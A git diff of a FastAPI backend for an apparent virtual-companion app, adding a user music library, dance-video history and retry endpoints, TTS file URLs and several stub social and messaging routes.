outfit_slots = Column(Integer, default=5)
owned_outfit_ids = Column(JSON)
@ -100,6 +101,8 @@ class SingSongVideo(Base):
user_id = Column(BigInteger, nullable=False)
lover_id = Column(BigInteger, nullable=False)
song_id = Column(BigInteger, nullable=False)
music_library_id = Column(BigInteger) # 音乐库ID如果来自音乐库
music_source = Column(String(20), default="system") # system=系统歌曲, library=音乐库
base_video_id = Column(BigInteger)
audio_url = Column(String(255), nullable=False)
audio_hash = Column(String(64), nullable=False)
@ -421,6 +424,38 @@ class OutfitItem(Base):
updatetime = Column(BigInteger)
class MusicLibrary(Base):
__tablename__ = "nf_music_library"
id = Column(BigInteger, primary_key=True, autoincrement=True)
user_id = Column(BigInteger, nullable=False, index=True)
title = Column(String(255), nullable=False)
artist = Column(String(255))
music_url = Column(String(500), nullable=False)
cover_url = Column(String(500))
duration = Column(Integer)
upload_type = Column(String(20), nullable=False, default="link") # file, link, external
external_platform = Column(String(20)) # netease, qq, kugou, kuwo
external_id = Column(String(100))
external_url = Column(String(500))
is_public = Column(Integer, nullable=False, default=1)
play_count = Column(Integer, nullable=False, default=0)
like_count = Column(Integer, nullable=False, default=0)
status = Column(String(20), nullable=False, default="approved") # pending, approved, rejected
created_at = Column(DateTime, nullable=False, default=datetime.utcnow)
updated_at = Column(DateTime, nullable=False, default=datetime.utcnow, onupdate=datetime.utcnow)
deleted_at = Column(DateTime)
class MusicLike(Base):
__tablename__ = "nf_music_likes"
id = Column(BigInteger, primary_key=True, autoincrement=True)
user_id = Column(BigInteger, nullable=False, index=True)
music_id = Column(BigInteger, nullable=False, index=True)
created_at = Column(DateTime, nullable=False, default=datetime.utcnow)
class OutfitLook(Base):
__tablename__ = "nf_outfit_looks"

View File

@ -9,3 +9,4 @@ requests>=2.31
oss2>=2.18
dashscope>=1.20
pyyaml>=6.0
imageio-ffmpeg>=0.4

View File

@ -18,3 +18,7 @@ class ApiResponse(BaseModel, Generic[T]):
def success_response(data: Optional[T] = None, msg: str = "ok") -> ApiResponse[T]:
return ApiResponse[T](code=1, msg=msg, data=data)
def error_response(msg: str = "error", code: int = 0, data: Optional[T] = None) -> ApiResponse[T]:
return ApiResponse[T](code=code, msg=msg, data=data)

View File

@ -4,7 +4,7 @@ import re
import random
import oss2
from fastapi import APIRouter, Depends, HTTPException, Query
from fastapi import APIRouter, Depends, HTTPException, Query, Request
from pydantic import BaseModel, Field
from sqlalchemy import desc
from sqlalchemy.orm import Session
@ -474,7 +474,7 @@ def _pick_available_voice(db: Session, lover: Lover, user_row: User) -> VoiceLib
return candidate
def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int) -> str:
def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int, request: Request = None) -> str:
"""
上传 TTS 音频文件
优先使用 OSS如果未配置则保存到本地
@ -520,8 +520,16 @@ def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int) -> str
with open(file_path, "wb") as f:
f.write(file_bytes)
# 返回完整 URL使用环境变量配置的后端地址
backend_url = os.getenv("BACKEND_URL", "http://127.0.0.1:8000")
# 自动检测请求来源,生成正确的 URL
if request:
# 从请求头获取 Host
host = request.headers.get("host", "127.0.0.1:8000")
scheme = "https" if request.url.scheme == "https" else "http"
backend_url = f"{scheme}://{host}"
else:
# 降级使用环境变量
backend_url = os.getenv("BACKEND_URL", "http://127.0.0.1:8000")
return f"{backend_url.rstrip('/')}/tts/{lover_id}/{message_id}.mp3"
except Exception as exc:
raise HTTPException(status_code=500, detail=f"保存语音文件失败: {exc}") from exc
@ -653,6 +661,7 @@ def list_messages(
@router.post("/messages/tts/{message_id}", response_model=ApiResponse[TTSOut])
def generate_message_tts(
message_id: int,
request: Request,
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
):
@ -706,7 +715,7 @@ def generate_message_tts(
model=model,
voice=voice.voice_code,
)
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id)
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id, request)
except HTTPException as exc:
detail_text = str(exc.detail) if hasattr(exc, "detail") else str(exc)
fallback_done = False
@ -721,7 +730,7 @@ def generate_message_tts(
model=fallback_model,
voice=fallback_voice,
)
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id)
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id, request)
msg.tts_voice_id = None # 兜底音色不绑定库ID
msg.tts_model_id = fallback_model
fallback_done = True

View File

@ -505,9 +505,24 @@ def save_cloned_voice(
db.add(new_voice)
db.flush()
# 将克隆的音色添加到用户的拥有列表中
user_row = db.query(User).filter(User.id == user.id).first()
if user_row:
owned_ids = _parse_owned_voices(user_row.owned_voice_ids)
owned_ids.add(new_voice.id)
user_row.owned_voice_ids = ",".join(map(str, sorted(owned_ids)))
db.add(user_row)
# 自动设置为恋人的当前音色
if lover:
lover.voice_id = new_voice.id
db.add(lover)
db.flush()
return success_response({
"voice_library_id": new_voice.id,
"message": "音色保存成功",
"message": "音色保存成功并已设置为当前音色",
"display_name": display_name
})

View File

@ -1,6 +1,7 @@
import hashlib
import os
import random
import shutil
import subprocess
import tempfile
import time
@ -27,11 +28,240 @@ from ..models import (
)
from ..response import ApiResponse, success_response
try:
import imageio_ffmpeg # type: ignore
except Exception: # pragma: no cover
imageio_ffmpeg = None
router = APIRouter(prefix="/dance", tags=["dance"])
def _ffmpeg_bin() -> str:
found = shutil.which("ffmpeg")
if found:
return found
if imageio_ffmpeg is not None:
try:
return imageio_ffmpeg.get_ffmpeg_exe()
except Exception:
pass
return "ffmpeg"
def _ffprobe_bin() -> str:
found = shutil.which("ffprobe")
if found:
return found
if imageio_ffmpeg is not None:
try:
ffmpeg_path = imageio_ffmpeg.get_ffmpeg_exe()
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe.exe")
if os.path.exists(candidate):
return candidate
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe")
if os.path.exists(candidate):
return candidate
except Exception:
pass
return "ffprobe"
DANCE_TARGET_DURATION_SEC = 10
@router.get("/history", response_model=ApiResponse[list[dict]])
def get_dance_history(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
page: int = 1,
size: int = 20,
):
"""
获取用户的跳舞视频历史记录
"""
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
raise HTTPException(status_code=404, detail="恋人未找到")
offset = (page - 1) * size
tasks = (
db.query(GenerationTask)
.filter(
GenerationTask.user_id == user.id,
GenerationTask.lover_id == lover.id,
GenerationTask.task_type == "video",
GenerationTask.payload["prompt"].as_string().isnot(None),
GenerationTask.status == "succeeded",
GenerationTask.result_url.isnot(None),
)
.order_by(GenerationTask.id.desc())
.offset(offset)
.limit(size)
.all()
)
result: list[dict] = []
for task in tasks:
payload = task.payload or {}
result.append(
{
"id": task.id,
"prompt": payload.get("prompt") or "",
"video_url": _cdnize(task.result_url) or "",
"created_at": task.created_at.isoformat() if task.created_at else None,
}
)
return success_response(result, msg="获取成功")
def _download_binary(url: str) -> bytes:
try:
resp = requests.get(url, timeout=30)
except Exception as exc:
raise HTTPException(status_code=502, detail="文件下载失败") from exc
if resp.status_code != 200:
raise HTTPException(status_code=502, detail="文件下载失败")
return resp.content
def _retry_finalize_dance_task(task_id: int) -> None:
"""任务失败但 DashScope 端已成功时,尝试重新下载视频并重新上传(自愈/手动重试共用)。"""
try:
with SessionLocal() as db:
task = (
db.query(GenerationTask)
.filter(GenerationTask.id == task_id)
.with_for_update()
.first()
)
if not task:
return
payload = task.payload or {}
dash_id = payload.get("dashscope_task_id")
if not dash_id:
return
status, dash_video_url = _fetch_dashscope_status(str(dash_id))
if status != "SUCCEEDED" or not dash_video_url:
return
# 重新生成:下载 dashscope 视频 -> 随机 BGM -> 合成 -> 上传
bgm_song = _pick_random_bgm(db)
bgm_audio_url_raw = bgm_song.audio_url
bgm_audio_url = _cdnize(bgm_audio_url_raw) or bgm_audio_url_raw
merged_bytes, bgm_meta = _merge_dance_video_with_bgm(
dash_video_url,
bgm_audio_url,
DANCE_TARGET_DURATION_SEC,
)
object_name = f"lover/{task.lover_id}/dance/{int(time.time())}_retry.mp4"
oss_url = _upload_to_oss(merged_bytes, object_name)
task.status = "succeeded"
task.result_url = oss_url
task.error_msg = None
task.payload = {
**payload,
"dashscope_video_url": dash_video_url,
"bgm_song_id": bgm_song.id,
"bgm_audio_url": bgm_audio_url,
"bgm_audio_url_raw": bgm_audio_url_raw,
"bgm_start_sec": bgm_meta.get("bgm_start_sec"),
"bgm_duration": DANCE_TARGET_DURATION_SEC,
"retry_finalized": True,
}
task.updated_at = datetime.utcnow()
db.add(task)
db.commit()
except Exception:
return
@router.post("/retry/{task_id}", response_model=ApiResponse[dict])
def retry_dance_task(
task_id: int,
background_tasks: BackgroundTasks,
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
):
"""手动重试:用于 DashScope 端已成功但本地下载/合成/上传失败导致任务失败的情况。"""
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
raise HTTPException(status_code=404, detail="恋人未找到")
task = (
db.query(GenerationTask)
.filter(
GenerationTask.id == task_id,
GenerationTask.user_id == user.id,
GenerationTask.lover_id == lover.id,
GenerationTask.task_type == "video",
GenerationTask.payload["prompt"].as_string().isnot(None),
)
.first()
)
if not task:
raise HTTPException(status_code=404, detail="任务不存在")
payload = task.payload or {}
dash_id = payload.get("dashscope_task_id")
if not dash_id:
raise HTTPException(status_code=400, detail="任务缺少 dashscope_task_id无法重试")
task.payload = {**payload, "manual_retry": True}
task.updated_at = datetime.utcnow()
db.add(task)
db.commit()
background_tasks.add_task(_retry_finalize_dance_task, int(task.id))
return success_response({"task_id": int(task.id)}, msg="已触发重试")
@router.get("/history/all", response_model=ApiResponse[list[dict]])
def get_dance_history_all(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
page: int = 1,
size: int = 20,
):
"""获取用户的跳舞视频全部历史记录(成功+失败+进行中)。"""
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
raise HTTPException(status_code=404, detail="恋人未找到")
offset = (page - 1) * size
tasks = (
db.query(GenerationTask)
.filter(
GenerationTask.user_id == user.id,
GenerationTask.lover_id == lover.id,
GenerationTask.task_type == "video",
GenerationTask.payload["prompt"].as_string().isnot(None),
)
.order_by(GenerationTask.id.desc())
.offset(offset)
.limit(size)
.all()
)
result: list[dict] = []
for task in tasks:
payload = task.payload or {}
url = task.result_url or payload.get("video_url") or payload.get("dashscope_video_url") or ""
result.append(
{
"id": int(task.id),
"prompt": payload.get("prompt") or "",
"status": task.status,
"video_url": _cdnize(url) or "",
"error_msg": task.error_msg,
"created_at": task.created_at.isoformat() if task.created_at else None,
}
)
return success_response(result, msg="获取成功")
class DanceGenerateIn(BaseModel):
prompt: str = Field(..., min_length=2, max_length=400, description="用户希望跳的舞/动作描述")
@ -47,6 +277,41 @@ class DanceTaskStatusOut(BaseModel):
error_msg: Optional[str] = None
@router.get("/current", response_model=ApiResponse[Optional[DanceTaskStatusOut]])
def get_current_dance_task(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
):
task = (
db.query(GenerationTask)
.filter(
GenerationTask.user_id == user.id,
GenerationTask.task_type == "video",
GenerationTask.status.in_(["pending", "running"]),
GenerationTask.payload["prompt"].as_string().isnot(None),
)
.order_by(GenerationTask.id.desc())
.first()
)
if not task:
return success_response(None, msg="暂无进行中的任务")
payload = task.payload or {}
return success_response(
DanceTaskStatusOut(
generation_task_id=task.id,
status=task.status,
dashscope_task_id=str(payload.get("dashscope_task_id") or ""),
video_url=task.result_url or payload.get("video_url") or payload.get("dashscope_video_url") or "",
session_id=int(payload.get("session_id") or 0),
user_message_id=int(payload.get("user_message_id") or 0),
lover_message_id=int(payload.get("lover_message_id") or 0),
error_msg=task.error_msg,
),
msg="获取成功",
)
def _upload_to_oss(file_bytes: bytes, object_name: str) -> str:
if not settings.ALIYUN_OSS_ACCESS_KEY_ID or not settings.ALIYUN_OSS_ACCESS_KEY_SECRET:
raise HTTPException(status_code=500, detail="未配置 OSS Key")
@ -240,7 +505,7 @@ def _download_to_path(url: str, target_path: str, label: str):
def _probe_media_duration(path: str) -> Optional[float]:
command = [
"ffprobe",
_ffprobe_bin(),
"-v",
"error",
"-show_entries",
@ -270,7 +535,7 @@ def _probe_media_duration(path: str) -> Optional[float]:
def _run_ffmpeg_merge(video_path: str, audio_path: str, output_path: str):
audio_duration = _probe_media_duration(audio_path)
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -319,7 +584,7 @@ def _extract_audio_segment(
output_path: str,
):
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -358,7 +623,7 @@ def _pad_audio_segment(
if pad_sec <= 0:
return
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",

69
lover/routers/friend.py Normal file
View File

@ -0,0 +1,69 @@
from fastapi import APIRouter, Depends
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
from lover.db import get_db
from sqlalchemy.orm import Session
from sqlalchemy import and_, or_
from lover.models import FriendRelation, User
router = APIRouter()
@router.get("/api/friend/index")
@router.post("/api/friend/index")
def get_friend_index(user: AuthedUser = Depends(get_current_user), db: Session = Depends(get_db)):
"""获取好友列表"""
# 查询当前用户的好友关系双向user_id 或 friend_id 为当前用户,且 status=1 表示已通过)
friend_relations = db.query(FriendRelation).filter(
and_(
or_(
FriendRelation.user_id == user.id,
FriendRelation.friend_id == user.id
),
FriendRelation.status == "1"
)
).all()
friend_ids = []
result = []
for rel in friend_relations:
# 确定好友的 user_id不是自己
fid = rel.friend_id if rel.user_id == user.id else rel.user_id
friend_ids.append(fid)
# 查询好友用户信息
friend_users = db.query(User).filter(User.id.in_(friend_ids)).all() if friend_ids else []
user_map = {u.id: u for u in friend_users}
for rel in friend_relations:
fid = rel.friend_id if rel.user_id == user.id else rel.user_id
friend_user = user_map.get(fid)
if not friend_user:
continue
result.append({
"friend_id": fid,
"friend": {
"id": friend_user.id,
"nickname": friend_user.nickname,
"avatar": friend_user.avatar,
"user_number": str(friend_user.id), # 前端期望 user_number
"open_id": "", # 小程序 open_id如有需要可补充字段
},
"intimacy": rel.intimacy or 0,
"intimacy_level": rel.intimacy_level or 0,
"is_online": False, # 默认离线,前端会单独调用在线状态接口
})
return success_response({
"data": result,
"total": len(result)
})
@router.post("/api/friend/add")
def add_friend(user: AuthedUser = Depends(get_current_user)):
"""添加好友"""
return success_response({"message": "添加成功"})
@router.delete("/api/friend/delete")
def delete_friend(user: AuthedUser = Depends(get_current_user)):
"""删除好友"""
return success_response({"message": "删除成功"})

57
lover/routers/huanxin.py Normal file
View File

@ -0,0 +1,57 @@
from typing import Optional
from fastapi import APIRouter, Depends
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.post("/api/huanxin/getToken")
def get_huanxin_token(user: AuthedUser = Depends(get_current_user)):
"""获取环信token"""
return success_response({
"token": "mock_huanxin_token_" + str(user.id),
"expires_in": 3600
})
@router.post("/api/huanxin/register")
def register_huanxin_user(user: AuthedUser = Depends(get_current_user)):
"""注册环信用户"""
return success_response({"message": "注册成功"})
@router.post("/api/huanxin/online")
def set_huanxin_online(
payload: Optional[dict] = None,
user: AuthedUser = Depends(get_current_user),
):
"""获取环信用户在线状态(兼容前端批量查询)"""
payload = payload or {}
user_ids_raw = payload.get("user_ids")
# 前端好友列表会传入 user_ids=36,40,41期待返回数组并支持 .find()
if user_ids_raw:
ids = []
for part in str(user_ids_raw).split(","):
part = part.strip()
if not part:
continue
try:
ids.append(int(part))
except ValueError:
continue
return success_response([
{"id": uid, "is_online": False} for uid in ids
])
# 兼容旧调用:不传 user_ids 时,返回当前用户在线信息
return success_response({"status": "online", "user_id": user.id})
@router.get("/api/huanxin/user_info")
def get_huanxin_user_info(user: AuthedUser = Depends(get_current_user)):
"""获取环信用户信息"""
return success_response({
"username": f"user_{user.id}",
"nickname": user.nickname,
"avatar": ""
})

26
lover/routers/msg.py Normal file
View File

@ -0,0 +1,26 @@
from fastapi import APIRouter, Depends
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.get("/api/msg/count")
def get_msg_count(user: AuthedUser = Depends(get_current_user)):
"""获取未读消息数量"""
return success_response({
"unread_count": 0,
"total_count": 0
})
@router.get("/api/msg/list")
def get_msg_list(user: AuthedUser = Depends(get_current_user)):
"""获取消息列表"""
return success_response({
"messages": [],
"total": 0
})
@router.post("/api/msg/send")
def send_msg(user: AuthedUser = Depends(get_current_user)):
"""发送消息"""
return success_response({"message": "发送成功"})

View File

@ -0,0 +1,554 @@
"""
音乐库路由
"""
from typing import List, Optional
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File, Form
from sqlalchemy.orm import Session
from pydantic import BaseModel, Field
from datetime import datetime
import os
import uuid
import hashlib
import time
from lover.db import get_db
from lover.deps import get_current_user
from lover.models import User, MusicLibrary, MusicLike, SongLibrary, Lover
from lover.response import success_response, error_response, ApiResponse
from lover.config import settings
router = APIRouter(prefix="/music", tags=["音乐库"])
# ========== Pydantic 模型 ==========
class MusicOut(BaseModel):
id: int
user_id: int
username: str = ""
user_avatar: str = ""
title: str
artist: Optional[str] = None
music_url: str
cover_url: Optional[str] = None
duration: Optional[int] = None
upload_type: str
external_platform: Optional[str] = None
external_id: Optional[str] = None
external_url: Optional[str] = None
play_count: int = 0
like_count: int = 0
is_liked: bool = False
created_at: datetime
class Config:
from_attributes = True
class MusicListResponse(BaseModel):
total: int
list: List[MusicOut]
class MusicAddLinkRequest(BaseModel):
title: str = Field(..., min_length=1, max_length=255, description="歌曲标题")
artist: Optional[str] = Field(None, max_length=255, description="艺术家")
music_url: str = Field(..., min_length=1, max_length=500, description="音乐链接")
cover_url: Optional[str] = Field(None, max_length=500, description="封面图链接")
duration: Optional[int] = Field(None, description="时长(秒)")
class MusicAddExternalRequest(BaseModel):
title: str = Field(..., min_length=1, max_length=255, description="歌曲标题")
artist: Optional[str] = Field(None, max_length=255, description="艺术家")
platform: str = Field(..., description="外部平台: netease=网易云, qq=QQ音乐, kugou=酷狗, kuwo=酷我")
external_id: str = Field(..., min_length=1, max_length=100, description="外部平台歌曲ID")
external_url: str = Field(..., min_length=1, max_length=500, description="外部平台完整链接")
cover_url: Optional[str] = Field(None, max_length=500, description="封面图链接")
duration: Optional[int] = Field(None, description="时长(秒)")
# ========== 辅助函数 ==========
def _cdnize(url: str) -> str:
"""将相对路径转换为 CDN 完整路径"""
if not url:
return ""
if url.startswith("http://") or url.startswith("https://"):
return url
cdn_domain = getattr(settings, "CDN_DOMAIN", "")
if cdn_domain:
return f"{cdn_domain.rstrip('/')}/{url.lstrip('/')}"
return url
def _save_upload_file(file: UploadFile, folder: str = "music") -> str:
"""保存上传的文件"""
# 生成唯一文件名
ext = os.path.splitext(file.filename)[1]
filename = f"{uuid.uuid4().hex}{ext}"
# 创建保存路径
upload_dir = os.path.join("public", folder)
os.makedirs(upload_dir, exist_ok=True)
file_path = os.path.join(upload_dir, filename)
# 保存文件
with open(file_path, "wb") as f:
f.write(file.file.read())
# 返回相对路径
return f"{folder}/{filename}"
# ========== API 路由 ==========
@router.get("/library", response_model=ApiResponse[MusicListResponse])
def get_music_library(
page: int = 1,
page_size: int = 20,
keyword: Optional[str] = None,
user: User = Depends(get_current_user),
db: Session = Depends(get_db),
):
"""
获取音乐库列表所有公开的音乐
"""
query = db.query(MusicLibrary).filter(
MusicLibrary.deleted_at.is_(None),
MusicLibrary.is_public == 1,
MusicLibrary.status == "approved"
)
# 关键词搜索
if keyword:
query = query.filter(
(MusicLibrary.title.like(f"%{keyword}%")) |
(MusicLibrary.artist.like(f"%{keyword}%"))
)
# 总数
total = query.count()
# 分页
offset = (page - 1) * page_size
music_list = query.order_by(MusicLibrary.created_at.desc()).offset(offset).limit(page_size).all()
# 获取用户点赞信息
liked_music_ids = set()
if user:
likes = db.query(MusicLike.music_id).filter(MusicLike.user_id == user.id).all()
liked_music_ids = {like.music_id for like in likes}
# 获取上传用户信息
user_ids = [m.user_id for m in music_list]
users_map = {}
if user_ids:
users = db.query(User).filter(User.id.in_(user_ids)).all()
users_map = {u.id: u for u in users}
# 构建返回数据
result = []
for music in music_list:
uploader = users_map.get(music.user_id)
result.append(MusicOut(
id=music.id,
user_id=music.user_id,
username=uploader.username if uploader else "未知用户",
user_avatar=_cdnize(uploader.avatar) if uploader and uploader.avatar else "",
title=music.title,
artist=music.artist,
music_url=_cdnize(music.music_url) if music.upload_type != 'external' else music.music_url,
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
duration=music.duration,
upload_type=music.upload_type,
external_platform=music.external_platform,
external_id=music.external_id,
external_url=music.external_url,
play_count=music.play_count,
like_count=music.like_count,
is_liked=music.id in liked_music_ids,
created_at=music.created_at
))
return success_response(MusicListResponse(total=total, list=result))
@router.post("/add-link", response_model=ApiResponse[MusicOut])
def add_music_link(
data: MusicAddLinkRequest,
user: User = Depends(get_current_user),
db: Session = Depends(get_db),
):
"""
添加音乐链接到音乐库
"""
# 创建音乐记录
music = MusicLibrary(
user_id=user.id,
title=data.title,
artist=data.artist,
music_url=data.music_url,
cover_url=data.cover_url,
duration=data.duration,
upload_type="link",
is_public=1,
status="approved"
)
db.add(music)
db.commit()
db.refresh(music)
return success_response(MusicOut(
id=music.id,
user_id=music.user_id,
username=user.username,
user_avatar=_cdnize(user.avatar) if user.avatar else "",
title=music.title,
artist=music.artist,
music_url=_cdnize(music.music_url),
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
duration=music.duration,
upload_type=music.upload_type,
external_platform=None,
external_id=None,
external_url=None,
play_count=music.play_count,
like_count=music.like_count,
is_liked=False,
created_at=music.created_at
))
@router.post("/add-external", response_model=ApiResponse[MusicOut])
def add_external_music(
data: MusicAddExternalRequest,
user: User = Depends(get_current_user),
db: Session = Depends(get_db),
):
"""
添加外部平台音乐链接网易云QQ音乐等
"""
# 验证平台
allowed_platforms = ["netease", "qq", "kugou", "kuwo"]
if data.platform not in allowed_platforms:
return error_response(f"不支持的平台,仅支持: {', '.join(allowed_platforms)}")
# 创建音乐记录
music = MusicLibrary(
user_id=user.id,
title=data.title,
artist=data.artist,
music_url=data.external_url,
cover_url=data.cover_url,
duration=data.duration,
upload_type="external",
external_platform=data.platform,
external_id=data.external_id,
external_url=data.external_url,
is_public=1,
status="approved"
)
db.add(music)
db.commit()
db.refresh(music)
return success_response(MusicOut(
id=music.id,
user_id=music.user_id,
username=user.username,
user_avatar=_cdnize(user.avatar) if user.avatar else "",
title=music.title,
artist=music.artist,
music_url=music.music_url,
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
duration=music.duration,
upload_type=music.upload_type,
external_platform=music.external_platform,
external_id=music.external_id,
external_url=music.external_url,
play_count=music.play_count,
like_count=music.like_count,
is_liked=False,
created_at=music.created_at
))
@router.post("/upload", response_model=ApiResponse[MusicOut])
async def upload_music_file(
title: str = Form(...),
artist: Optional[str] = Form(None),
duration: Optional[int] = Form(None),
music_file: UploadFile = File(...),
cover_file: Optional[UploadFile] = File(None),
user: User = Depends(get_current_user),
db: Session = Depends(get_db),
):
"""
上传音乐文件到音乐库
"""
# 检查文件类型
allowed_audio = [".mp3", ".wav", ".m4a", ".flac", ".ogg"]
allowed_image = [".jpg", ".jpeg", ".png", ".gif", ".webp"]
music_ext = os.path.splitext(music_file.filename)[1].lower()
if music_ext not in allowed_audio:
return error_response("不支持的音频格式")
# 保存音乐文件
music_path = _save_upload_file(music_file, "music")
# 保存封面文件
cover_path = None
if cover_file:
cover_ext = os.path.splitext(cover_file.filename)[1].lower()
if cover_ext in allowed_image:
cover_path = _save_upload_file(cover_file, "music/covers")
# 创建音乐记录
music = MusicLibrary(
user_id=user.id,
title=title,
artist=artist,
music_url=music_path,
cover_url=cover_path,
duration=duration,
upload_type="file",
is_public=1,
status="approved"
)
db.add(music)
db.commit()
db.refresh(music)
return success_response(MusicOut(
id=music.id,
user_id=music.user_id,
username=user.username,
user_avatar=_cdnize(user.avatar) if user.avatar else "",
title=music.title,
artist=music.artist,
music_url=_cdnize(music.music_url),
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
duration=music.duration,
upload_type=music.upload_type,
external_platform=None,
external_id=None,
external_url=None,
play_count=music.play_count,
like_count=music.like_count,
is_liked=False,
created_at=music.created_at
))
@router.post("/{music_id}/like", response_model=ApiResponse[dict])
def like_music(
music_id: int,
user: User = Depends(get_current_user),
db: Session = Depends(get_db),
):
"""
点赞音乐
"""
# 检查音乐是否存在
music = db.query(MusicLibrary).filter(
MusicLibrary.id == music_id,
MusicLibrary.deleted_at.is_(None)
).first()
if not music:
return error_response("音乐不存在")
# 检查是否已点赞
existing_like = db.query(MusicLike).filter(
MusicLike.user_id == user.id,
MusicLike.music_id == music_id
).first()
if existing_like:
# 取消点赞
db.delete(existing_like)
music.like_count = max(0, music.like_count - 1)
db.commit()
return success_response({"is_liked": False, "like_count": music.like_count})
else:
# 添加点赞
like = MusicLike(user_id=user.id, music_id=music_id)
db.add(like)
music.like_count += 1
db.commit()
return success_response({"is_liked": True, "like_count": music.like_count})
@router.post("/{music_id}/play", response_model=ApiResponse[dict])
def record_play(
music_id: int,
db: Session = Depends(get_db),
):
"""
记录播放次数
"""
music = db.query(MusicLibrary).filter(
MusicLibrary.id == music_id,
MusicLibrary.deleted_at.is_(None)
).first()
if not music:
return error_response("音乐不存在")
music.play_count += 1
db.commit()
return success_response({"play_count": music.play_count})
@router.delete("/{music_id}", response_model=ApiResponse[dict])
def delete_music(
music_id: int,
user: User = Depends(get_current_user),
db: Session = Depends(get_db),
):
"""
删除音乐仅限上传者
"""
music = db.query(MusicLibrary).filter(
MusicLibrary.id == music_id,
MusicLibrary.deleted_at.is_(None)
).first()
if not music:
return error_response("音乐不存在")
if music.user_id != user.id:
return error_response("无权删除此音乐")
music.deleted_at = datetime.utcnow()
db.commit()
return success_response({"message": "删除成功"})
@router.get("/my", response_model=ApiResponse[MusicListResponse])
def get_my_music(
page: int = 1,
page_size: int = 20,
user: User = Depends(get_current_user),
db: Session = Depends(get_db),
):
"""
获取我上传的音乐
"""
query = db.query(MusicLibrary).filter(
MusicLibrary.user_id == user.id,
MusicLibrary.deleted_at.is_(None)
)
total = query.count()
offset = (page - 1) * page_size
music_list = query.order_by(MusicLibrary.created_at.desc()).offset(offset).limit(page_size).all()
# 获取点赞信息
liked_music_ids = set()
likes = db.query(MusicLike.music_id).filter(MusicLike.user_id == user.id).all()
liked_music_ids = {like.music_id for like in likes}
result = []
for music in music_list:
result.append(MusicOut(
id=music.id,
user_id=music.user_id,
username=user.username,
user_avatar=_cdnize(user.avatar) if user.avatar else "",
title=music.title,
artist=music.artist,
music_url=_cdnize(music.music_url) if music.upload_type != 'external' else music.music_url,
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
duration=music.duration,
upload_type=music.upload_type,
external_platform=music.external_platform,
external_id=music.external_id,
external_url=music.external_url,
play_count=music.play_count,
like_count=music.like_count,
is_liked=music.id in liked_music_ids,
created_at=music.created_at
))
return success_response(MusicListResponse(total=total, list=result))
@router.post("/convert-to-song", response_model=ApiResponse[dict])
def convert_music_to_song(
music_id: int,
user: User = Depends(get_current_user),
db: Session = Depends(get_db),
):
"""
将音乐库音乐转换为系统歌曲用于生成唱歌视频
"""
# 1. 检查音乐
music = db.query(MusicLibrary).filter(
MusicLibrary.id == music_id,
MusicLibrary.deleted_at.is_(None)
).first()
if not music:
return error_response("音乐不存在")
# 2. 检查音乐类型
if music.upload_type == 'external':
return error_response("外部平台音乐无法生成视频,请使用直链或上传的音乐")
# 3. 获取音乐 URL
music_url = _cdnize(music.music_url)
if not music_url:
return error_response("音乐地址不可用")
# 4. 检查是否已转换(避免重复)
audio_hash = hashlib.md5(music_url.encode()).hexdigest()
existing_song = db.query(SongLibrary).filter(
SongLibrary.audio_hash == audio_hash,
SongLibrary.deletetime.is_(None)
).first()
if existing_song:
return success_response({
"song_id": existing_song.id,
"title": existing_song.title,
"from_cache": True
})
# 5. 获取恋人性别
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
return error_response("请先创建恋人")
# 6. 创建系统歌曲记录
now_ts = int(time.time())
song = SongLibrary(
title=music.title or "未命名",
artist=music.artist or "",
gender=lover.gender,
audio_url=music.music_url, # 存储原始路径(不含 CDN
status=True,
weigh=0,
createtime=now_ts,
updatetime=now_ts,
audio_hash=audio_hash,
duration_sec=music.duration
)
db.add(song)
db.commit()
db.refresh(song)
return success_response({
"song_id": song.id,
"title": song.title,
"from_cache": False
})

View File

@ -76,7 +76,18 @@ def _cdnize(url: Optional[str]) -> Optional[str]:
return url
if url.startswith("http://") or url.startswith("https://"):
return url
prefix = "https://nvlovers.oss-cn-qingdao.aliyuncs.com"
# 优先使用 CDN 域名
cdn_domain = getattr(settings, 'ALIYUN_OSS_CDN_DOMAIN', None)
if cdn_domain:
prefix = cdn_domain.rstrip("/")
else:
# 兜底使用 OSS 默认域名
bucket_name = getattr(settings, 'ALIYUN_OSS_BUCKET_NAME', 'hello12312312')
endpoint = getattr(settings, 'ALIYUN_OSS_ENDPOINT', 'https://oss-cn-hangzhou.aliyuncs.com')
endpoint_clean = endpoint.replace('https://', '').replace('http://', '')
prefix = f"https://{bucket_name}.{endpoint_clean}"
if url.startswith("/"):
return prefix + url
return f"{prefix}/{url}"

View File

@ -1,6 +1,8 @@
import hashlib
import hashlib
import logging
import math
import os
import shutil
import subprocess
import tempfile
import threading
@ -25,6 +27,7 @@ from ..models import (
EmoDetectCache,
GenerationTask,
Lover,
MusicLibrary,
SingBaseVideo,
